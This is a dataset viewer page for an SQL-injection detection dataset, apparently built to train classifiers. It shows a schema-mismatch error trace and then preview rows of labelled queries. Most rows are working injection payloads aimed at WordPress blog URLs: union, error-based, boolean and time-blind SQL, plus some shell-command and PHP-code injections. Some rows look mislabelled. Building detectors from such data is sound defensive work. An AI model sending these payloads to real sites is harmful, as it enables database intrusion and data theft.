Dataset Preview
Duplicate
The full dataset viewer is not available (click to read why). Only showing a preview of the rows.
The dataset generation failed because of a cast error
Error code:   DatasetGenerationCastError
Exception:    DatasetGenerationCastError
Message:      An error occurred while generating the dataset

All the data files must have the same columns, but at some point there are 4 new columns ({'length', 'entropy', 'sql_keyword_count', 'special_char_ratio'}) and 3 missing columns ({'label_name', 'label', 'split'}).

This happened while the csv dataset builder was generating data using

hf://datasets/Jason-42195/VNU-SQLi-Detection/nhanh2_anomalous_eval.csv (at revision ecab30353dfe044b56ffc63838ece574235de8c0), ['hf://datasets/Jason-42195/VNU-SQLi-Detection@ecab30353dfe044b56ffc63838ece574235de8c0/nhanh2_anomalous_eval.csv']

Please either edit the data files to have matching columns, or separate them into different configurations (see docs at https://hf.co/docs/hub/datasets-manual-configuration#multiple-configurations)
Traceback:    Traceback (most recent call last):
                File "/usr/local/lib/python3.14/site-packages/datasets/builder.py", line 1837, in _prepare_split_single
                  writer.write_table(table)
                  ~~~~~~~~~~~~~~~~~~^^^^^^^
                File "/usr/local/lib/python3.14/site-packages/datasets/arrow_writer.py", line 765, in write_table
                  self._write_table(pa_table, writer_batch_size=writer_batch_size)
                  ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                File "/usr/local/lib/python3.14/site-packages/datasets/arrow_writer.py", line 773, in _write_table
                  pa_table = table_cast(pa_table, self._schema)
                File "/usr/local/lib/python3.14/site-packages/datasets/table.py", line 2369, in table_cast
                  return cast_table_to_schema(table, schema)
                File "/usr/local/lib/python3.14/site-packages/datasets/table.py", line 2297, in cast_table_to_schema
                  raise CastError(
                  ...<3 lines>...
                  )
              datasets.table.CastError: Couldn't cast
              id: int64
              query_raw: string
              query_canonical: string
              has_comment_marker: int64
              length: int64
              special_char_ratio: double
              sql_keyword_count: int64
              entropy: double
              source: string
              -- schema metadata --
              pandas: '{"index_columns": [{"kind": "range", "name": null, "start": 0, "' + 1367
              to
              {'id': Value('int64'), 'query_raw': Value('string'), 'query_canonical': Value('string'), 'has_comment_marker': Value('int64'), 'label': Value('int64'), 'label_name': Value('string'), 'source': Value('string'), 'split': Value('string')}
              because column names don't match
              
              During handling of the above exception, another exception occurred:
              
              Traceback (most recent call last):
                File "/src/services/worker/src/worker/job_runners/config/parquet_and_info.py", line 1369, in compute_config_parquet_and_info_response
                  parquet_operations, partial, estimated_dataset_info = stream_convert_to_parquet(
                                                                        ~~~~~~~~~~~~~~~~~~~~~~~~~^
                      builder, max_dataset_size_bytes=max_dataset_size_bytes
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                  )
                  ^
                File "/src/services/worker/src/worker/job_runners/config/parquet_and_info.py", line 948, in stream_convert_to_parquet
                  builder._prepare_split(split_generator=splits_generators[split], file_format="parquet")
                  ~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                File "/usr/local/lib/python3.14/site-packages/datasets/builder.py", line 1683, in _prepare_split
                  for job_id, done, content in self._prepare_split_single(
                                               ~~~~~~~~~~~~~~~~~~~~~~~~~~^
                      gen_kwargs=gen_kwargs, job_id=job_id, **_prepare_split_args
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                  ):
                  ^
                File "/usr/local/lib/python3.14/site-packages/datasets/builder.py", line 1839, in _prepare_split_single
                  raise DatasetGenerationCastError.from_cast_error(
                  ...<4 lines>...
                  )
              datasets.exceptions.DatasetGenerationCastError: An error occurred while generating the dataset
              
              All the data files must have the same columns, but at some point there are 4 new columns ({'length', 'entropy', 'sql_keyword_count', 'special_char_ratio'}) and 3 missing columns ({'label_name', 'label', 'split'}).
              
              This happened while the csv dataset builder was generating data using
              
              hf://datasets/Jason-42195/VNU-SQLi-Detection/nhanh2_anomalous_eval.csv (at revision ecab30353dfe044b56ffc63838ece574235de8c0), ['hf://datasets/Jason-42195/VNU-SQLi-Detection@ecab30353dfe044b56ffc63838ece574235de8c0/nhanh2_anomalous_eval.csv']
              
              Please either edit the data files to have matching columns, or separate them into different configurations (see docs at https://hf.co/docs/hub/datasets-manual-configuration#multiple-configurations)

Need help to make the dataset viewer work? Make sure to review how to configure the dataset viewer, and open a discussion for direct support.

id
int64
query_raw
string
query_canonical
string
has_comment_marker
int64
label
int64
label_name
string
source
string
split
string
0
/blog/index.php/my-account/edit-profile/ profile-pic-url=' where 0 in (select sleep(15) ) -- &profile-default-image=http://1.gravatar.com/avatar/14d5b5665405f8accb4e5f2fa274cd44?s=96&d=mm&r=g&profile-pic=test_file.txt&user_registration_first_name=rafael&user_registration_user_login=rafael&user_registration_last_name=gr...
/blog/index.php/my-account/edit-profile/ profile-pic-url=' where 0 in (select sleep(15) ) -- &profile-default-image=http://1.gravatar.com/avatar/14d5b5665405f8accb4e5f2fa274cd44?s=96&d=mm&r=g&profile-pic=test_file.txt&user_registration_first_name=rafael&user_registration_user_login=rafael&user_registration_last_name=gr...
1
4
time_blind
d7_srbh2020
train
1
/blog/index.php/2020/03')) AND EXTRACTVALUE(5482,CONCAT(0x5c,0x3a727a613a,(SELECT (ELT(5482=5482,1))),0x3a6172743a)) AND (('OQBP'='OQBP
/blog/index.php/2020/03')) and extractvalue(5482,concat('\',':rza:',(select (elt(5482=5482,1))),':art:')) and (('oqbp'='oqbp
0
2
error_based
d7_srbh2020
train
2
garladora
garladora
0
0
normal
d1_sqliv3
train
3
/blog/index.php/2020" AND "1"="2" -- /04/04/rerum-soluta-et-quis-excepturi-labore/feed
/blog/index.php/2020" and "1"="2" -- /04/04/rerum-soluta-et-quis-excepturi-labore/feed
1
3
boolean_blind
d7_srbh2020
train
4
/blog%' -- ?s=wood
/blog%' -- ?s=wood
1
3
boolean_blind
d7_srbh2020
train
5
/blog/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur" AND ROW(9136,7163)>(SELECT COUNT(*),CONCAT(0x3a727a613a,(SELECT (ELT(9136=9136,1))),0x3a6172743a,FLOOR(RAND(0)*2))x FROM (SELECT 5343 UNION SELECT 8745 UNION SELECT 3468 UNION SELECT 9544)a GROUP BY x) AND "pdng"="pdng
/blog/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur" and row(9136,7163)>(select count(*),concat(':rza:',(select (elt(9136=9136,1))),':art:',floor(rand(0)*2))x from (select 5343 union select 8745 union select 3468 union select 9544)a group by x) and "pdng"="pdng
0
2
error_based
d7_srbh2020
train
6
/blog/index.php/2020/03 RLIKE (SELECT * FROM (SELECT(SLEEP(5)))lkKZ)-- qBLP
/blog/index.php/2020/03 rlike (select * from (select(sleep(5)))lkkz)-- qblp
1
4
time_blind
d7_srbh2020
train
7
cecile
cecile
0
0
normal
d1_sqliv3
train
8
/blog/index.php/2020/03/27") UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -/qui-ratione-maxime-dolores-consequatur/feed
/blog/index.php/2020/03/27") union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- -/qui-ratione-maxime-dolores-consequatur/feed
1
1
union_based
d7_srbh2020
train
9
/blog/index.php/2020/03' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#/23/fuga-aut-recusandae-sed-dolor-quia/embed
/blog/index.php/2020/03' union all select null,null,null,null,null,null,null,null,null,null#/23/fuga-aut-recusandae-sed-dolor-quia/embed
0
1
union_based
d7_srbh2020
train
10
/blog/index.php/2020/03') AND (SELECT * FROM (SELECT(SLEEP(5)))LwNU) AND ('bxfs' LIKE 'bxfs/23/fuga-aut-recusandae-sed-dolor-quia/embed
/blog/index.php/2020/03') and (select * from (select(sleep(5)))lwnu) and ('bxfs' like 'bxfs/23/fuga-aut-recusandae-sed-dolor-quia/embed
0
4
time_blind
d7_srbh2020
train
11
/blog/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur/embed") UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
/blog/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur/embed") union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null#
0
1
union_based
d7_srbh2020
train
12
/blog/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur/feed") AND 8563=8563-- -
/blog/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur/feed") and 8563=8563-- -
1
3
boolean_blind
d7_srbh2020
train
13
/blog/index.php/my-account/edit-profile/ username=sadPudding2&password=Wq4GSY6R&user-registration-login-nonce=";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="&_wp_http_referer=/blog/index.php/my-account/edit-profile/&login=Login&redirect=&rememberme=forever
/blog/index.php/my-account/edit-profile/ username=sadpudding2&password=wq4gsy6r&user-registration-login-nonce=";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="&_wp_http_referer=/blog/index.php/my-account/edit-profile/&login=login&redirect=&rememberme=forever
0
3
boolean_blind
d7_srbh2020
train
14
/blog/index.php/search/feed/feed where 0 in (select sleep(15) ) -- /rss2
/blog/index.php/search/feed/feed where 0 in (select sleep(15) ) -- /rss2
1
4
time_blind
d7_srbh2020
train
15
SELECT ourID AS ID, knife AS plenty FROM close
select ourid as id, knife as plenty from close
0
0
normal
d1_sqliv3
train
16
yaci
yaci
0
0
normal
d1_sqliv3
train
17
/blog/index.php/2020" AND 3244=9135 AND "kBtg"="kBtg/03
/blog/index.php/2020" and 3244=9135 and "kbtg"="kbtg/03
0
3
boolean_blind
d7_srbh2020
train
18
/blog/index.php/my-account/edit-profile/https:\\8501779237819759495.owasp.org
/blog/index.php/my-account/edit-profile/https:\\8501779237819759495.owasp.org
0
0
normal
d7_srbh2020_normal
train
19
/blog/index.php/2020/03" UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -/23/fuga-aut-recusandae-sed-dolor-quia
/blog/index.php/2020/03" union all select null,null,null,null,null,null,null-- -/23/fuga-aut-recusandae-sed-dolor-quia
1
1
union_based
d7_srbh2020
train
20
/blog/wp-content/uploads&sleep$mc 15&/2020/04/c357e14e-0af5-317e-a4f7-bc609b90087b-300x200.jpg
/blog/wp-content/uploads&sleep$mc 15&/2020/04/c357e14e-0af5-317e-a4f7-bc609b90087b-300x200.jpg
0
3
boolean_blind
d7_srbh2020
train
21
/blog/index.php/2020/03/23' PROCEDURE ANALYSE(EXTRACTVALUE(7373,CONCAT(0x5c,0x3a727a613a,(SELECT (CASE WHEN (7373=7373) THEN 1 ELSE 0 END)),0x3a6172743a)),1) AND 'mKhA'='mKhA
/blog/index.php/2020/03/23' procedure analyse(extractvalue(7373,concat('\',':rza:',(select (case when (7373=7373) then 1 else 0 end)),':art:')),1) and 'mkha'='mkha
0
2
error_based
d7_srbh2020
train
22
SELECT * FROM grade WHERE yellow NOT LIKE 'including%'
select * from grade where yellow not like 'including%'
0
0
normal
d1_sqliv3
train
23
/blog/wp-content/uploads" where 0 in (select sleep(15) ) -- /2020/04/38536cfd-4e8b-3340-b4c4-af387cc163a8.jpg
/blog/wp-content/uploads" where 0 in (select sleep(15) ) -- /2020/04/38536cfd-4e8b-3340-b4c4-af387cc163a8.jpg
1
4
time_blind
d7_srbh2020
train
24
/blog')) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -/index.php/2020
/blog')) union all select null,null,null,null,null,null,null,null,null,null-- -/index.php/2020
1
1
union_based
d7_srbh2020
train
25
/blog/wp-content/themes/twentyseventeen/HtTpS://8501779237819759495.owasp.org/css
/blog/wp-content/themes/twentyseventeen/https://8501779237819759495.owasp.org/css
0
0
normal
d7_srbh2020_normal
train
26
/blog" AND "1"="1" -- /index.php/2020/03/22
/blog" and "1"="1" -- /index.php/2020/03/22
1
3
boolean_blind
d7_srbh2020
train
27
/blog/index.php/2020/03/23 AND 1=2/fuga-aut-recusandae-sed-dolor-quia/feed
/blog/index.php/2020/03/23 and 1=2/fuga-aut-recusandae-sed-dolor-quia/feed
0
3
boolean_blind
d7_srbh2020
train
28
/blog/wp-content ASC -- /plugins/user-registration/assets/js/frontend
/blog/wp-content asc -- /plugins/user-registration/assets/js/frontend
1
3
boolean_blind
d7_srbh2020
train
29
/blog/index.php/2020/04/04/animi-sint-ut-sed-commodi/embed') UNION ALL select NULL --
/blog/index.php/2020/04/04/animi-sint-ut-sed-commodi/embed') union all select null --
1
1
union_based
d7_srbh2020
train
30
/blog/index.php||sleep 15/wp-json
/blog/index.php||sleep 15/wp-json
0
3
boolean_blind
d7_srbh2020
train
31
/blog/wp-includes/js or 0 in (select sleep(15) ) -- /mediaelement
/blog/wp-includes/js or 0 in (select sleep(15) ) -- /mediaelement
1
4
time_blind
d7_srbh2020
train
32
/blog/index.php/2020/03/27" UNION ALL select NULL -- /qui-ratione-maxime-dolores-consequatur/feed
/blog/index.php/2020/03/27" union all select null -- /qui-ratione-maxime-dolores-consequatur/feed
1
1
union_based
d7_srbh2020
train
33
/blog/embed/2020/03/29/distinctio-sequi-officiis-occaecati/embed
/blog/embed/2020/03/29/distinctio-sequi-officiis-occaecati/embed
0
0
normal
d7_srbh2020_normal
train
34
/blog') UNION ALL SELECT NULL,NULL,NULL,NULL#/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur
/blog') union all select null,null,null,null#/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur
0
1
union_based
d7_srbh2020
train
35
calle barrio villayuda 169,
calle barrio villayuda 169,
0
0
normal
d1_sqliv3
train
36
/blog/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia) AND (SELECT 7654 FROM(SELECT COUNT(*),CONCAT(0x3a727a613a,(SELECT (ELT(7654=7654,1))),0x3a6172743a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (3554=3554/embed
/blog/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia) and (select 7654 from(select count(*),concat(':rza:',(select (elt(7654=7654,1))),':art:',floor(rand(0)*2))x from information_schema.character_sets group by x)a) and (3554=3554/embed
0
2
error_based
d7_srbh2020
train
37
/blog/wp-content/uploadsNULL/2020/04/7c651b11-3631-3f9e-b728-dc11efe811c7-300x240.png
/blog/wp-content/uploadsnull/2020/04/7c651b11-3631-3f9e-b728-dc11efe811c7-300x240.png
0
3
boolean_blind
d7_srbh2020
train
38
/blog/wp-content/uploads/2020/04" and 0 in (select sleep(15) ) -- /7c651b11-3631-3f9e-b728-dc11efe811c7.png
/blog/wp-content/uploads/2020/04" and 0 in (select sleep(15) ) -- /7c651b11-3631-3f9e-b728-dc11efe811c7.png
1
4
time_blind
d7_srbh2020
train
39
/blog';(SELECT * FROM (SELECT(SLEEP(5)))pDxx) AND 'Mrsp' LIKE 'Mrsp/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia/embed
/blog';(select * from (select(sleep(5)))pdxx) and 'mrsp' like 'mrsp/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia/embed
0
4
time_blind
d7_srbh2020
train
40
/blog/index.php+OR+1%3D1/my-account/edit-profile/{{ data.sizes.medium.url
/blog/index.php or 1=1/my-account/edit-profile/{{ data.sizes.medium.url
0
3
boolean_blind
d7_srbh2020
train
41
/blog));(SELECT * FROM (SELECT(SLEEP(5)))cswp)#/index.php/2020/03/22
/blog));(select * from (select(sleep(5)))cswp)#/index.php/2020/03/22
0
4
time_blind
d7_srbh2020
train
42
almacelles
almacelles
0
0
normal
d1_sqliv3
train
43
/blog" UNION ALL SELECT NULL,NULL#/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia/embed
/blog" union all select null,null#/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia/embed
0
1
union_based
d7_srbh2020
train
44
/blog/index.php/nihil-dolorem-molestiae-recusandae-corrupti-qui-alias" OR "1"="1/embed
/blog/index.php/nihil-dolorem-molestiae-recusandae-corrupti-qui-alias" or "1"="1/embed
0
3
boolean_blind
d7_srbh2020
train
45
/blog/index.php/NULL/autem-vel-nostrum-enim/feed
/blog/index.php/null/autem-vel-nostrum-enim/feed
0
3
boolean_blind
d7_srbh2020
train
46
/blog/index.php/aut-velit-dicta-eaque' and 0 in (select sleep(15) ) --
/blog/index.php/aut-velit-dicta-eaque' and 0 in (select sleep(15) ) --
1
4
time_blind
d7_srbh2020
train
47
/blog));SELECT SLEEP(5)#/index.php/2020/03/22
/blog));select sleep(5)#/index.php/2020/03/22
0
4
time_blind
d7_srbh2020
train
48
1" and 6537 = dbms_pipe.receive_message ( chr ( 76 ) ||chr ( 116 ) ||chr ( 117 ) ||chr ( 65 ) ,5 ) and "icow" like "icow
1" and 6537 = dbms_pipe.receive_message ( chr ( 76 ) ||chr ( 116 ) ||chr ( 117 ) ||chr ( 65 ) ,5 ) and "icow" like "icow
0
3
boolean_blind
d1_sqliv3
train
49
/blog)) UNION ALL SELECT NULL-- -/index.php/2020/03/23
/blog)) union all select null-- -/index.php/2020/03/23
1
1
union_based
d7_srbh2020
train
50
SELECT serious,season,value FROM horn LEFT JOIN Orders ON huge.studiedID = bigger.die ORDER BY exclaimed.for
select serious,season,value from horn left join orders on huge.studiedid = bigger.die order by exclaimed.for
0
0
normal
d1_sqliv3
train
51
/blog%' -- /index.php/fugiat-recusandae-voluptatem-ratione-quo-placeat
/blog%' -- /index.php/fugiat-recusandae-voluptatem-ratione-quo-placeat
1
3
boolean_blind
d7_srbh2020
train
52
SELECT COUNT ( must ) FROM local
select count ( must ) from local
0
0
normal
d1_sqliv3
train
53
/blog/index.php/2020' PROCEDURE ANALYSE(EXTRACTVALUE(6405,CONCAT(0x5c,0x3a727a613a,(SELECT (CASE WHEN (6405=6405) THEN 1 ELSE 0 END)),0x3a6172743a)),1) AND 'LEzV'='LEzV/03/29
/blog/index.php/2020' procedure analyse(extractvalue(6405,concat('\',':rza:',(select (case when (6405=6405) then 1 else 0 end)),':art:')),1) and 'lezv'='lezv/03/29
0
2
error_based
d7_srbh2020
train
54
SELECT * FROM ( SELECT other FROM saddle )
select * from ( select other from saddle )
0
0
normal
d1_sqliv3
train
55
/blog/wp-content/uploads/2020/04/7eb06ef2-3782-3e6a-bb62-c705e86b2eee-300x200.jpg`sleep 15`
/blog/wp-content/uploads/2020/04/7eb06ef2-3782-3e6a-bb62-c705e86b2eee-300x200.jpg`sleep 15`
0
3
boolean_blind
d7_srbh2020
train
56
-5152' ) ) or 4747 = dbms_utility.sqlid_to_sqlhash ( ( chr ( 113 ) ||chr ( 113 ) ||chr ( 112 ) ||chr ( 106 ) ||chr ( 113 ) || ( select ( case when ( 4747 = 4747 ) then 1 else 0 end ) from dual ) ||chr ( 113 ) ||chr ( 122 ) ||chr ( 118 ) ||chr ( 122 )...
-5152' ) ) or 4747 = dbms_utility.sqlid_to_sqlhash ( ( chr ( 113 ) ||chr ( 113 ) ||chr ( 112 ) ||chr ( 106 ) ||chr ( 113 ) || ( select ( case when ( 4747 = 4747 ) then 1 else 0 end ) from dual ) ||chr ( 113 ) ||chr ( 122 ) ||chr ( 118 ) ||chr ( 122 )...
0
3
boolean_blind
d1_sqliv3
train
57
/blog/wp-content/themes' and 0 in (select sleep(15) ) -- /twentyseventeen/assets/css/ie8.css?ver=1.0
/blog/wp-content/themes' and 0 in (select sleep(15) ) -- /twentyseventeen/assets/css/ie8.css?ver=1.0
1
4
time_blind
d7_srbh2020
train
58
/blog ASC -- /wp-includes/js/imgareaselect/imgareaselect.css?ver=0.9.8
/blog asc -- /wp-includes/js/imgareaselect/imgareaselect.css?ver=0.9.8
1
3
boolean_blind
d7_srbh2020
train
59
/blog/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia/embed%' AND (SELECT * FROM (SELECT(SLEEP(5)))hXBJ) AND '%'=
/blog/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia/embed%' and (select * from (select(sleep(5)))hxbj) and '%'=
0
4
time_blind
d7_srbh2020
train
60
/blog/'/plugins/user-registration/assets/js/jquery-tiptip
/blog/'/plugins/user-registration/assets/js/jquery-tiptip
0
3
boolean_blind
d7_srbh2020
train
61
/blog/index.php/2020/03" PROCEDURE ANALYSE(EXTRACTVALUE(7499,CONCAT(0x5c,0x3a727a613a,(SELECT (CASE WHEN (7499=7499) THEN 1 ELSE 0 END)),0x3a6172743a)),1) AND "Hfrp"="Hfrp/27/qui-ratione-maxime-dolores-consequatur
/blog/index.php/2020/03" procedure analyse(extractvalue(7499,concat('\',':rza:',(select (case when (7499=7499) then 1 else 0 end)),':art:')),1) and "hfrp"="hfrp/27/qui-ratione-maxime-dolores-consequatur
0
2
error_based
d7_srbh2020
train
62
/blog/index.php/2020/03/23') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#/fuga-aut-recusandae-sed-dolor-quia
/blog/index.php/2020/03/23') union all select null,null,null,null,null,null,null,null,null,null,null,null#/fuga-aut-recusandae-sed-dolor-quia
0
1
union_based
d7_srbh2020
train
63
bada gorina
bada gorina
0
0
normal
d1_sqliv3
train
64
lengua barrios
lengua barrios
0
0
normal
d1_sqliv3
train
65
/blog')) UNION ALL SELECT NULL-- -/index.php/2020/03/23
/blog')) union all select null-- -/index.php/2020/03/23
1
1
union_based
d7_srbh2020
train
66
/blog/index.php" where 0 in (select sleep(15) ) -- /2020/04/page
/blog/index.php" where 0 in (select sleep(15) ) -- /2020/04/page
1
4
time_blind
d7_srbh2020
train
67
/blog/index.php/2020') AND 7430=6237-- -/03/22/quidem-rerum-sit-doloribus-quia-eum
/blog/index.php/2020') and 7430=6237-- -/03/22/quidem-rerum-sit-doloribus-quia-eum
1
3
boolean_blind
d7_srbh2020
train
68
/blog/index.php/2020/03 UNION ALL SELECT NULL-- -/23/fuga-aut-recusandae-sed-dolor-quia
/blog/index.php/2020/03 union all select null-- -/23/fuga-aut-recusandae-sed-dolor-quia
1
1
union_based
d7_srbh2020
train
69
/blog") UNION ALL select NULL -- /index.php/tag/sapiente-blanditiis-quasi
/blog") union all select null -- /index.php/tag/sapiente-blanditiis-quasi
1
1
union_based
d7_srbh2020
train
70
/sitemap.xml UNION ALL select NULL --
/sitemap.xml union all select null --
1
1
union_based
d7_srbh2020
train
71
/blog') PROCEDURE ANALYSE(EXTRACTVALUE(9000,CONCAT(0x5c,0x3a727a613a,(SELECT (CASE WHEN (9000=9000) THEN 1 ELSE 0 END)),0x3a6172743a)),1) AND ('jOME' LIKE 'jOME/index.php/2020/03/22/quidem-rerum-sit-doloribus-quia-eum
/blog') procedure analyse(extractvalue(9000,concat('\',':rza:',(select (case when (9000=9000) then 1 else 0 end)),':art:')),1) and ('jome' like 'jome/index.php/2020/03/22/quidem-rerum-sit-doloribus-quia-eum
0
2
error_based
d7_srbh2020
train
72
/blog/HtTpS://8501779237819759495.owasp.org/2020/04/04/voluptatum-reprehenderit-maiores-ab-sequi-quaerat
/blog/https://8501779237819759495.owasp.org/2020/04/04/voluptatum-reprehenderit-maiores-ab-sequi-quaerat
0
0
normal
d7_srbh2020_normal
train
73
/blog/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia/embed' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
/blog/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia/embed' union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null#
0
1
union_based
d7_srbh2020
train
74
/blog/index.php/2020');(SELECT * FROM (SELECT(SLEEP(5)))ULaf) AND ('EIEl' LIKE 'EIEl
/blog/index.php/2020');(select * from (select(sleep(5)))ulaf) and ('eiel' like 'eiel
0
4
time_blind
d7_srbh2020
train
75
/blog' and 0 in (select sleep(15) ) -- /index.php/wp-json
/blog' and 0 in (select sleep(15) ) -- /index.php/wp-json
1
4
time_blind
d7_srbh2020
train
76
/blog/index.php/my-account/lost-password/ user_login=boastfulDinosaur8&ur_reset_password=true&_wpnonce=4b87c6adf6&_wp_http_referer=/blog/index.php/my-account/lost-password/ / sleep(15)
/blog/index.php/my-account/lost-password/ user_login=boastfuldinosaur8&ur_reset_password=true&_wpnonce=4b87c6adf6&_wp_http_referer=/blog/index.php/my-account/lost-password/ / sleep(15)
0
4
time_blind
d7_srbh2020
train
77
5385470000000000
5385470000000000
0
0
normal
d1_sqliv3
train
78
/blog/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
/blog/index.php/2020/03/23/fuga-aut-recusandae-sed-dolor-quia' union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null#
0
1
union_based
d7_srbh2020
train
79
SELECT option_value FROM wp_options WHERE option_name = '_options_footer_button_2_text' LIMIT 1
select option_value from wp_options where option_name = '_options_footer_button_2_text' limit 1
0
0
normal
d1_sqliv3
train
80
/blog/wp-content/plugins/user-registration/assets/js/inputmask/jquery.inputmask.bundle.min.js?ver=4.0.0-beta.58" and 0 in (select sleep(15) ) --
/blog/wp-content/plugins/user-registration/assets/js/inputmask/jquery.inputmask.bundle.min.js?ver=4.0.0-beta.58" and 0 in (select sleep(15) ) --
1
4
time_blind
d7_srbh2020
train
81
1' and 6537 = dbms_pipe.receive_message ( chr ( 76 ) ||chr ( 116 ) ||chr ( 117 ) ||chr ( 65 ) ,5 )
1' and 6537 = dbms_pipe.receive_message ( chr ( 76 ) ||chr ( 116 ) ||chr ( 117 ) ||chr ( 65 ) ,5 )
0
3
boolean_blind
d1_sqliv3
train
82
/blog/index.php) UNION ALL select NULL -- /2020/04/04/vero-nihil-nam-numquam-ullam-quas/feed
/blog/index.php) union all select null -- /2020/04/04/vero-nihil-nam-numquam-ullam-quas/feed
1
1
union_based
d7_srbh2020
train
83
/blog/index.php/2020/04/04/ipsa-repellat-dignissimos-laudantium" or 0 in (select sleep(15) ) --
/blog/index.php/2020/04/04/ipsa-repellat-dignissimos-laudantium" or 0 in (select sleep(15) ) --
1
4
time_blind
d7_srbh2020
train
84
fullum6
fullum6
0
0
normal
d1_sqliv3
train
85
SELECT COUNT ( symbol ) FROM planned
select count ( symbol ) from planned
0
0
normal
d1_sqliv3
train
86
/blog/index.php/2020/03" AND (SELECT 9116 FROM(SELECT COUNT(*),CONCAT(0x3a727a613a,(SELECT (ELT(9116=9116,1))),0x3a6172743a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "SaxB"="SaxB/23/fuga-aut-recusandae-sed-dolor-quia
/blog/index.php/2020/03" and (select 9116 from(select count(*),concat(':rza:',(select (elt(9116=9116,1))),':art:',floor(rand(0)*2))x from information_schema.character_sets group by x)a) and "saxb"="saxb/23/fuga-aut-recusandae-sed-dolor-quia
0
2
error_based
d7_srbh2020
train
87
/blog/%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B/my-account/edit-profile/{{ data.image.src }}
/blog/;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));/my-account/edit-profile/{{ data.image.src }}
0
3
boolean_blind
d7_srbh2020
train
88
call regexp_substring ( repeat ( left ( crypt_key ( char ( 65 ) ||char ( 69 ) ||char ( 83 ) ,null ) ,0 ) ,500000000 ) ,null ) and ( ( ( "%" = "
call regexp_substring ( repeat ( left ( crypt_key ( 'a' ||'e' ||'s' ,null ) ,0 ) ,500000000 ) ,null ) and ( ( ( "%" = "
0
3
boolean_blind
d1_sqliv3
train
89
/blog/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur' UNION ALL SELECT NULL,NULL#
/blog/index.php/2020/03/27/qui-ratione-maxime-dolores-consequatur' union all select null,null#
0
1
union_based
d7_srbh2020
train
90
/blog/index.php/2020/03/22/quidem-rerum-sit-doloribus-quia-eum') UNION ALL SELECT NULL-- -/feed
/blog/index.php/2020/03/22/quidem-rerum-sit-doloribus-quia-eum') union all select null-- -/feed
1
1
union_based
d7_srbh2020
train
91
/blog/wp-content/themes where 0 in (select sleep(15) ) -- /twentyseventeen/assets
/blog/wp-content/themes where 0 in (select sleep(15) ) -- /twentyseventeen/assets
1
4
time_blind
d7_srbh2020
train
92
/blog/wp-content/uploads/2020/04/aa129ea8-5161-37b5-acab-9d6386eeec9c-300x240.png" UNION ALL select NULL --
/blog/wp-content/uploads/2020/04/aa129ea8-5161-37b5-acab-9d6386eeec9c-300x240.png" union all select null --
1
1
union_based
d7_srbh2020
train
93
/blog/index.php/2020" AND ROW(6829,3413)>(SELECT COUNT(*),CONCAT(0x3a727a613a,(SELECT (ELT(6829=6829,1))),0x3a6172743a,FLOOR(RAND(0)*2))x FROM (SELECT 7492 UNION SELECT 4118 UNION SELECT 5660 UNION SELECT 8137)a GROUP BY x) AND "dyTn"="dyTn/03/27
/blog/index.php/2020" and row(6829,3413)>(select count(*),concat(':rza:',(select (elt(6829=6829,1))),':art:',floor(rand(0)*2))x from (select 7492 union select 4118 union select 5660 union select 8137)a group by x) and "dytn"="dytn/03/27
0
2
error_based
d7_srbh2020
train
94
/blog/wp-includes/js/media-models.min.js"?ver=4.9.5
